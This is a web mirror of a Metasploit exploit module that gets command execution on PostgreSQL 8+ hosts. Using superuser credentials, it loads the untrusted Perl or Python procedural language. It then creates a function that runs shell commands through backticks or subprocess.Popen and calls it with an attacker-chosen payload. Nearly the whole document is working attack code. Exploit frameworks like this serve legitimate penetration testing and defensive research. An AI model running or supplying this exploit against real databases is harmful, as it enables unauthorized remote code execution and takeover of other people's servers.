Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/postgres/postgres_createlang.rb
19592 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::Postgres
10
include Msf::Exploit::Remote::Tcp
11
include Msf::Auxiliary::Report
12
include Msf::OptionalSession::PostgreSQL
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'PostgreSQL CREATE LANGUAGE Execution',
19
'Description' => %q{
20
Some installations of Postgres 8 and 9 are configured to allow loading external scripting languages.
21
Most commonly this is Perl and Python. When enabled, command execution is possible on the host.
22
To execute system commands, loading the "untrusted" version of the language is necessary.
23
This requires a superuser. This is usually postgres. The execution should be platform-agnostic,
24
and has been tested on OS X, Windows, and Linux.
25
26
This module attempts to load Perl or Python to execute system commands. As this dynamically loads
27
a scripting language to execute commands, it is not necessary to drop a file on the filesystem.
28
29
Only Postgres 8 and up are supported.
30
},
31
'Author' => [
32
'Micheal Cottingham', # author of this module
33
'midnitesnake', # the postgres_payload module that this is based on,
34
'Nixawk' # Improves the module
35
],
36
'License' => MSF_LICENSE,
37
'References' => [
38
['URL', 'http://www.postgresql.org/docs/current/static/sql-createlanguage.html'],
39
['URL', 'http://www.postgresql.org/docs/current/static/plperl.html'],
40
['URL', 'http://www.postgresql.org/docs/current/static/plpython.html']
41
],
42
'Platform' => %w(linux unix win osx),
43
'Payload' => {
44
'PayloadType' => %w(cmd)
45
},
46
'Arch' => [ARCH_CMD],
47
'Targets' => [
48
['Automatic', {}]
49
],
50
'DefaultTarget' => 0,
51
'DisclosureDate' => '2016-01-01',
52
'Notes' => {
53
'Reliability' => UNKNOWN_RELIABILITY,
54
'Stability' => UNKNOWN_STABILITY,
55
'SideEffects' => UNKNOWN_SIDE_EFFECTS
56
}
57
)
58
)
59
60
deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
61
end
62
63
def check
64
vuln_version? ? CheckCode::Appears : CheckCode::Safe
65
end
66
67
def vuln_version?
68
version = postgres_fingerprint
69
70
return unless version[:auth]
71
72
vprint_status version[:auth].to_s
73
74
version_full = version[:auth].to_s.scan(/^PostgreSQL ([\d\.]+)/i).flatten.first
75
76
Rex::Version.new(version_full) >= Rex::Version.new('8.0')
77
end
78
79
def login_success?
80
status = do_login(username, password, database)
81
case status
82
when :noauth
83
print_error "#{peer} - Authentication failed"
84
return false
85
when :noconn
86
print_error "#{peer} - Connection failed"
87
return false
88
else
89
print_status "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{status}"
90
return true
91
end
92
end
93
94
def load_extension?(language)
95
case load_procedural_language(language, 'LANGUAGE')
96
when :exists
97
print_good "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{language} is already loaded, continuing"
98
return true
99
when :loaded
100
print_good "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{language} was successfully loaded, continuing"
101
return true
102
when :not_exists
103
print_status "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{language} could not be loaded"
104
return false
105
else
106
vprint_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - error occurred loading #{language}"
107
return false
108
end
109
end
110
111
def exec_function?(func_name)
112
query = "SELECT exec_#{func_name}('#{payload.encoded.gsub("'", "''")}')"
113
select_query = postgres_query(query)
114
115
case select_query.keys[0]
116
when :conn_error
117
print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Connection error"
118
return false
119
when :sql_error
120
elog(select_query[:sql_error])
121
122
missing_executable_match = select_query[:sql_error].match "FileNotFoundError[^\t]*"
123
unless missing_executable_match.nil?
124
print_error "#{missing_executable_match} - The target binary was not found on the target."
125
return false
126
end
127
128
if select_query[:sql_error].match? 'execution expired'
129
print_warning 'Timed out. The function was potentially executed.'
130
return true
131
end
132
133
print_warning "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Unable to execute query: #{query}"
134
return false
135
when :complete
136
print_good "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Exploit successful"
137
return true
138
else
139
print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Unknown"
140
return false
141
end
142
end
143
144
def create_function?(language, func_name)
145
load_func = ''
146
147
case language
148
when 'perl'
149
query = "CREATE OR REPLACE FUNCTION exec_#{func_name}(text) RETURNS void as $$"
150
query << "`$_[0]`;"
151
query << "$$ LANGUAGE pl#{language}u"
152
load_func = postgres_query(query)
153
when /^python(?:2|3)?/i
154
query = "CREATE OR REPLACE FUNCTION exec_#{func_name}(c text) RETURNS void as $$\r"
155
query << "import subprocess, shlex\rsubprocess.Popen(shlex.split(c))\r"
156
query << "$$ LANGUAGE pl#{language}u"
157
load_func = postgres_query(query)
158
end
159
160
case load_func.keys[0]
161
when :conn_error
162
print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Connection error"
163
return false
164
when :sql_error
165
print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} Exploit failed"
166
return false
167
when :complete
168
print_good "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Loaded UDF (exec_#{func_name})"
169
return true
170
else
171
print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Unknown"
172
return false
173
end
174
end
175
176
def load_procedural_language(language, extension)
177
query = "CREATE #{extension} pl#{language}u"
178
load_language = postgres_query(query)
179
return :loaded unless load_language.keys[0] == :sql_error
180
181
match_exists = load_language[:sql_error].match(/(?:(extension|language) "pl#{language}u" already exists)/m)
182
return :exists if match_exists
183
184
match_error = load_language[:sql_error].match(/(?:[Cc]ould not (?:open extension control|access) file|unsupported language)/m)
185
return :not_exists if match_error
186
187
# Default to something sane
188
:not_exists
189
end
190
191
def do_login(user, pass, database)
192
begin
193
password = pass || postgres_password
194
result = postgres_fingerprint(
195
db: database,
196
username: user,
197
password: password
198
)
199
200
return result[:auth] if result[:auth]
201
202
print_error "#{peer} - Login failed"
203
return :noauth
204
rescue Rex::ConnectionError
205
return :noconn
206
end
207
end
208
209
def exploit
210
self.postgres_conn = session.client if session
211
return unless vuln_version?
212
return unless login_success?
213
214
languages = %w(perl python python2 python3)
215
languages.each do |language|
216
next unless load_extension?(language)
217
218
func_name = Rex::Text.rand_text_alpha(10)
219
next unless create_function?(language, func_name)
220
221
if exec_function?(func_name)
222
print_warning "Please clear extension [#{language}]: function [#{func_name}] manually"
223
break
224
end
225
end
226
postgres_logout if @postgres_conn && session.blank?
227
end
228
end
229
230